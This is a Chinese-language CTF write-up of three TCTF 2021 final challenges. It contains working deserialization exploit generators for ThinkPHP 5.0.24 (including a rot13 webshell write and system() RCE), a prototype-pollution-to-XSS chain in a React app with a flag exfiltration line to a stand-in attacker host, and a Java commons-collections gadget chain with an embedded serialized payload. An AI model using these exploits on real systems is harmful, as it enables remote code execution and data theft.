TCTF2021-final-writeup
2021-10-11 01:17:04 Author: wiki.ioin.in(查看原文) 阅读量:48 收藏

开学后跟着NeSe的第一场比赛,学到很多东西。挑了三个有意思的题,讲一讲有趣的部分

tp5.0.24反序列化

0x01-任意文件写

tp5.0.24有一条经典的写文件gadget,参考文章:ThinkPHP5.0.x RCE分析与利用。参考文章中反序列化入口__destruct至任意文件写入sink的调用栈如下

think\cache\driver\File->set()
think\session\driver\Memcached->write()
think\console\Output->write()
think\console\Output->writeln()
think\console\Output->block()
think\console\Output->call_user_func_array
think\console\Output->__call()
think\console\Output->getAttr()
think\model\Pivot->toArray()
think\model\Pivot->toJson()
think\model\Pivot->__toString()
think\process\pipes\Windows>file_exists()
think\process\pipes\Windows->removeFiles()
think\process\pipes\Windows->__destruct()

由于参考文章写的比较详细,这里就简单对该链做个小结。此链关键的调用在/thinkphp/library/think/Model.php#912
-w1440

满足if条件的构造后$value值仍可控,此时攻击者可以赋值$value为任意对象,在调用getAttr方法时转而调用该对象中的__call方法,继而链接后续的利用。该gadget的原作者利用think\console\Output中的__call方法衔接,从而在Output对象的block方法中进一步深挖到任意文件写操作
-w1068

可利用如下exp生成序列化数据,关于if条件的构造直接阅读exp也比较直观。

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }

}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();//目的调用File->set()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
            'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

0x02-rce

这个链的利用是结合了0x01章节文件写的前部链,加thinkphp5.1.37反序列化中的RCE部分,调用栈如下

Request.php:1094, think\Request->filterValue()
Request.php:1040, think\Request->input()
Request.php:706, think\Request->get()
Memcache.php:66, think\cache\driver\Memcache->has()
Memcache.php:98, think\cache\driver\Memcache->set()
Memcached.php:102, think\session\driver\Memcached->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array:{/Applications/MxSrvs/www/nese.localhost.com/revenge/thinkphp/library/think/console/Output.php:212}()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\model\Pivot->toArray()
Model.php:936, think\model\Pivot->toJson()
Model.php:2267, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

对比0x01的调用栈,很明显能够看出在think\session\driver\Memcached->write()
之前的调用与0x01完全相同。

public function write($sessID, $sessData)
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

而此链在调用write方法时,将$this->handler指向think\cache\driver\Memcache对象,跟进调用Memcahce->set的核心代码如下

public function set($name, $value, $expire = null){
        ...
        }
        if ($this->tag && !$this->has($name)) {
            $first = true;
        }
        $key = $this->getCacheKey($name);
        ...
}

继续跟进$this->has($name)后紧接着调用$this->handler->get($key);

    public function has($name)
    {
        $key = $this->getCacheKey($name);
        return false !== $this->handler->get($key);
    }

既然此处的$this->handler依然可控,我们就可以拼接上参考文章的后半部分,使$this->handler指向think\Request对象,进而调用其get方法如下
-w1434

关于think\Request如何构造rce完全可以参考上面(5.1.37反序列化)的文章。这里我们只需要调整$this->get参数,意即$_GET数组中存在$name为键名的键值对,后续的rce所用的commond会从$_GET[$name]中获取到。至于如何拿到$name值,大家调试一下会比较清楚。这里给出我的exphttp-get传递rce指令为?hpdoger<getAttr>no<=whoami

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }

}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}

namespace think\session\driver;#Memcached
use think\cache\driver\Memcache;
class Memcached{
    protected $handler = null;
    function __construct(){
//        $this->handler = new File();//目的调用File->set()
        $this->handler = new Memcache();
    }
}



namespace think\cache\driver;
use think\Request;

class Memcache
{
    protected $handler;
    protected $options;
    protected $tag;

    public function __construct()
    {
        $this->tag = true;
        $this->options['prefix'] = 'hpdoger';
        $this->handler = new Request();
    }

}


namespace think;
class Request
{
    protected $filter='system';
    protected $param = [];

}


namespace think\model;
use think\Model;
class Pivot extends Model{

}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

-w1140

那么以我这个exp而言$namehpdoger<getAttr>no<

0x03-文件包含

在比赛过程中,mads张师傅发现另一条sink为任意文件包含操作,代码位置在thinkphp/library/think/cache/driver/Lite.php#get
-w834

如何调用到Lite#get操作?与0x02部分的调用栈几乎完全相同,只需将think\Request对象换为think\cache\driver\Lite

get函数这里跟进getCacheKey可以读出include所需文件名的生成规则,因此我们只需要利用0x01部分的任意文件写入即可联动write->include

protected function getCacheKey($name)
{
    return $this->options['path'] . $this->options['prefix'] . md5($name) . '.php';
}

值得注意的是在get函数中会对文件进行时间戳的判定,先上传的文件会被删除。那这里就需要我们竞争地向服务器中写入文件

$mtime = filemtime($filename);
if ($mtime < time()) {
    // 清除已经过期的文件
    unlink($filename);
    return $default;
}

至于利用和exp,看了0x02部分应该不难写出~

useCTF

题目功能简单,以react为前端框架,express为后端。大致的思路是prototype pollution=>xss=>steal flag

题目代码量不小,这里分步骤来介绍。由于笔者比赛时在steal flag步骤被卡,这部分会重点讲解。赛后请教了宇宙第一ctfer@zsx(zxsyyds)后学习了另一种非预期的解法,这里也会一并归纳

react

首先讲一下react框架基础,笔者也是做题时第一次接触并尝试debug。总的来说react是组件化的框架,开发者将html中的各部分元素封装为不同的组件,调用Props属性传递变量,各个组件维护自己的状态和UI,这些组件的渲染由react提供的render函数负责。当组件状态state 有更改的时候,React会自动调用组件的render 方法重新渲染整个组件的UI

prototype pollution

react路由在渲染/submit页面时使用useEffect注册了hook函数

  useEffect(() => {
    const queries = {}
    parseStr(location.search.replace('?', ''), queries)
    setName(queries.name || '')
    setEmail(queries.email || '')
    setPhone(queries.phone || '')
    window.fetch(`${baseAPI}get-flag`)
      .then(a => a.text())
      .then(a => {
        const s = a.split('')
        let index = 0
        const fn = () => {
          setFlag(s[index++])
          if (index < s.length) {
            setTimeout(fn, 100)
          }
        }
        fn()
      })
  }, [])

parseStr的参数为用户完全可控,然而这里的parseStr来自于locutus/php/strings;虽然parseStr最新版本修复了之前的prototype pollution,禁止用户传递参数时携带如下字段
-w1060

但重点看parse部分逻辑,在解析时遇到.|[|字段会被替换为字段_

if (chr === ' ' || chr === '.' || chr === '[') {
  keys[0] = keys[0].substr(0, j) + '_' + keys[0].substr(j + 1)
}

那我们就可以用__proto_.轻易绕过对关键字__proto__的检测
-w1436

XSS

XSS部分相对简单,只是不易发现。Submit.js是处理/submit路由的逻辑,在渲染页面时使用useEffect注册了钩子函数如下,name属性值来自url传递可控

  useEffect(() => {
    if (name !== 'Loading') {
      notify(`Dear ${name}, welcome!`, 'info')
    }
  }, [name])

notify函数引入自reapop用来作页面提示,将消息实时渲染给前端用户。跟踪库函数的代码发现notify初始化时会检测参数allowHTML是否存在,如果allowHTML存在则允许notify渲染的消息中包含html
-w653

至此我们可以借助原型链污染allowHTML参数后在name属性值插入我们的xss payload

http://localhost:3000/submit?__proto_.[allowHTML]=1&name=<svg/onload%3dalert(1)>

-w909

steal flag

这一部分是题目的难点,首先让我们看看难在哪里

后端express关于/get-flag路由的逻辑如下

app.get('/get-flag', async (req, res) => {
  const secret = req.cookies[cookieName] ? req.cookies[cookieName] : ''
  res.clearCookie(cookieName)
  if (cookieNonce.has(secret)) {
    cookieNonce.delete(secret)
    res.write(flag)
    res.end()
  } else {
    res.write('sample{Welcome to get flag}')
    res.end()
  }
})

同时,react关于/submit路由渲染时会主动调用如下代码

const [flag, setFlag] = useState('')
window.fetch(`${baseAPI}get-flag`)
  .then(a => a.text())
  .then(a => {
    const s = a.split('')
    let index = 0
    const fn = () => {
      setFlag(s[index++])
      if (index < s.length) {
        setTimeout(fn, 100)
      }
    }
    fn()
  })

关于此障碍点总结:管理员在访问路由/submit时会进行一次fetch get-flag的请求,而cookieNonce只存储了一个临时secret。由于我们的xss发生在/submit页面,所以当我们用javascript再次对/get-flag进行请求时,cookieNonce已经被管理员的第一次访问置空,从而无法获取flag

而这段window.fetch的代码也比较诡异,它使用setFlag不断更新flag字段。

const [flag, setFlag] = useState('')
const fn = () => {
  setFlag(s[index++])
  if (index < s.length) {
    setTimeout(fn, 100)
  }
}

useState是关于状态值的提取和更新,它存储的属性值会被挂在FibernodememoizedState上,如图

看了上图后可能会好奇Fibernode是什么?其实,在react中有一个比较重要的概念叫做Fibernode,它构成react生命周期中Node Tree数据结构上的节点。我们知道react是基于(组件)运行的框架,任何ReactComponent都会被绑定在Fibernode上。Component的生成是用JSX来描述的,例如:

<App>
  <Router>
  </Router>
</App>

此时这两个Component会绑定在两个Fibernode上,根节点指向App这个组件实例,它的子节点child指向Router组件实例。而react生命周期中的路由函数provider都可以看作是Component,能够遍历Node Tree得到。

除此之外,react调用render或者更新DOM节点,本质都是在对Node Tree中某一Fibernode的操作。

上图所示,遍历整个树的过程属于深度优先,一旦到达叶子节点,就开始创建FiberNode对应的实例,例如对应的DomElement实例,节点内容即在属性workInProgress.memoizedProps中,最后DomElement实例通过__reactInternalInstance$[randomKey]属性建立与自己的FiberNode的联系.

回到题目,我们需要获取submit函数组件实例绑定的Fibernode,从而在它的链表(memoizedState)里获得setFlag设置的flag更新值。

那么从根节点DOM元素.App来追踪,第十个child指向submit函数组件所绑定的Fibernode

最终在该Fibernode的链表中,遍历得到第四个节点为flag最后更新的属性值,其实也可以查代码中的useState个数来确定flag所在的链表节点数。

至此我们只要通过js设置一个计时器,不断获取flag更新后的lastRenderedState值并外带直到获取完全flag,参考exp如下

exp = `const app = document.querySelector('.App')
const key = Object.keys(document.querySelector(".App"))[0]
let ifiber = app[key]

let st = setInterval(()=>{
    let c = ifiber.child.child.child.child.child.child.child.child.child.child.memoizedState.next.next.next.next.queue.lastRenderedState;
    console.log(c)
    if(c == "}"){
        clearInterval(st)
    }
}, 100)`

payload = btoa(exp)

encodeURIComponent(`<svg/onload=eval(atob("${payload}"))>`)

这里再提一下非预期@ROIS:污染String.prototype.split=function(s){fetch('//attacker/flag?'+this.toString())};,来看下图代码执行的步骤就能理解

window.fetch会在所有同步JS代码执行完成后再异步,这里涉及到一些v8异步IO的知识。通常网络请求类异步函数(fetch)和setTimeout都是在代码段的最后再去执行,因此我们在notify部分执行xss payload,能够影响fetch回调函数中的a.split操作,从而将flag实参传递出来

参考链接

前端面试必考题:React Hooks 原理剖析

How React Works (一)首次渲染

bugglyloader

出题人裸给了反序列化接口/buggy逻辑如下

public class IndexController {
    @RequestMapping({"/buggy"})
    public String index(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Utils.hexStringToBytes(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);

        String name = myObjectInputStream.readUTF();
        int year = myObjectInputStream.readInt();
        if (name.equals("0CTF/TCTF") && year == 2021)
            myObjectInputStream.readObject();
        return "index";
    }
}

题目给出环境存在依赖commons-collections-3.2.1,因为题目作者在反序列化时实现了自己的MyObjectInputStream,它将自身的classloader设置为URLClassLoader,并调用loadClass载入类实例

这要求在反序列化时不能存在数组对象,否则Class.forName会在动态加载类进内存时报Class not found的错误,这一部分在白猪师傅关于shiro反序列化的文章已有说明,不再赘述。

首先简单回顾一下yso中的CC利用,以transfrom函数调用为核心点

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, `iParamTypes`);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

公开的sink大致可以分为ChainedTransformer链式调用Runtime.getRuntime().exec()TemplatesImpl.newTransformer调用defineClass进行RCE。前者需要构造iTransformers数组导致无法利用,后者在shiro中能够利用,详情也可以参考:关于shiro反序列

那么我们回到本题,重点探讨一下为什么TemplatesImpl.newTransformer无法利用?这里我们需要明确一个概念,Class.forName只能够加载8个基本类型数组对象实例,这8个类型分别为

shiro-1.2.4环境中,进行类加载的ClassloaderParallelWebappClassLoader,它继承自WebappClassLoaderBase

在动态加载类时会调用cl.loadClassParallelWebappClassLoader.loadClass

进一步向上委派到WebappClassLoaderBase.loadClass如下代码段所示,这里面的逻辑就比较有意思了。例如我们想要装载类为byte类型的二维数组,此时的name值为[[B。在clazz = this.findClass(name)并不能找到[[B.class,但在第一个catch中并没有直接抛出异常,而是向后继续执行判断!delegateLoad成立后再去调用Class.forName来加载基本数据类型的数组对象实例

public Class<?> loadClass(String name, boolean resolve){
    try {
    clazz = this.findClass(name);

    if (resolve) {
        this.resolveClass(clazz);
    }

    var10000 = clazz;
    return var10000;

    }catch (ClassNotFoundException var17) {
    }
    if (!delegateLoad) {
        try {
        clazz = Class.forName(name, false, this.parent);
        if (clazz == null) {
            throw new ClassNotFoundException(name);
        }
        ...
        } catch (ClassNotFoundException var14) {
        throw new ClassNotFoundException(name);
        }
    }
}

跟进Class.forName后也能看到,在内部调用forName0加载到了[[B类型的Class

能加载数组对象实例这一点至关重要,我们可以看到在TemplatesImpl利用点的构造中,_bytecodes属性值中写入了一个二维byte数组作恶意的字节码。

而在题目环境中this.classLoader直接指向URLClassloader

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    Class<?> clazz = this.classLoader.loadClass(desc.getName());
    return clazz;
}

此时调用其内部的URLClassloader.findClass去寻找类的过程中,并不能找到[[B.class这样的编译文件,于是直接抛出异常报错。

    protected Class<?> findClass(final String name)
        throws ClassNotFoundException
    {
        final Class<?> result;
        try {
            result = AccessController.doPrivileged(
                new PrivilegedExceptionAction<Class<?>>() {
                    public Class<?> run() throws ClassNotFoundException {
                        String path = name.replace('.', '/').concat(".class");
                        Resource res = ucp.getResource(path, false);
                        if (res != null) {
                            try {
                                return defineClass(name, res);
                            } catch (IOException e) {
                                throw new ClassNotFoundException(name, e);
                            }
                        } else {
                            return null;
                        }
                    }
                }, acc);
        } catch (java.security.PrivilegedActionException pae) {
            throw (ClassNotFoundException) pae.getException();
        }
        if (result == null) {
            throw new ClassNotFoundException(name);
        }
        return result;
    }

总结地来说,TemplatesImpl之所以能在shiro的环境利用成功,因为其ClassloaderURLClassloader的子类WebappClassLoaderBase,它重写了loadClass方法,使用Class.forName来加载8个基本类型的数组对象Class。而URLClassloaderloadClass并没有Class.forName的操作,无法加载数组对象Class,于是_bytecodes在还原时抛出异常

new gadgets

于是现在的目标变为寻找TemplatesImpl的替代品:寻找一处反射调用的sink,并且在整个利用中不存在数组对象,最终借助白猪师傅的tabby工具(yyds)找到了利用点javax.management.remote.rmi.RMIConnector#findRMIServerJRMP

这个利用点巧妙的地方在于,此处的base64属性值可控,截取自内部的成员变量this.jmxServiceURLbase64解码成字节码后,对其进行反序化操作,且使用的是ObjectInputStream

我们只需要在base64构造一个能打common-collections-3.2.1的反序列化数据就行,相当于这里二次反序列化了。整个链构造起来比较简单,参考白猪师傅的ÇC10即可,exp如下

package com.yxxx.buggyLoader;

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.PrototypeFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.management.modelmbean.ModelMBeanOperationInfo;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.URL;
import java.net.URLConnection;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Random;

public class Payload {

    public static void main(String[] args) throws Exception {
        String b64str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAACBsr+ur4AAAAzABwBAB95c29zZXJpYWwvUHduZXIxMTgxMTI3MDA3NDc3NDc1BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABpQd25lcjExODExMjcwMDc0Nzc0NzUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAJAADAAIAAAAPpwADAUy4AA8SEbYAFVexAAAAAQAWAAAAAwABAwABABkACAABAAkAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAGdXEAfgAOAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC4ADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAJWwALaVBhcmFtVHlwZXNxAH4ACHhwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQADm5ld1RyYW5zZm9ybWVydXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAF0eA==";
        RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://asd/stub/" + b64str), new HashMap<>());

        final InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[]) f2.get(innimpl);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "connect");

        String payload = Utils.objectToHexString(map);
        System.out.println(payload);

    }
}

b64str字段替换为反序列化打Common-collections-3.2.1的数据即可
-w1438


文章来源: http://wiki.ioin.in/url/dNWX
如有侵权请联系:admin#unsafe.sh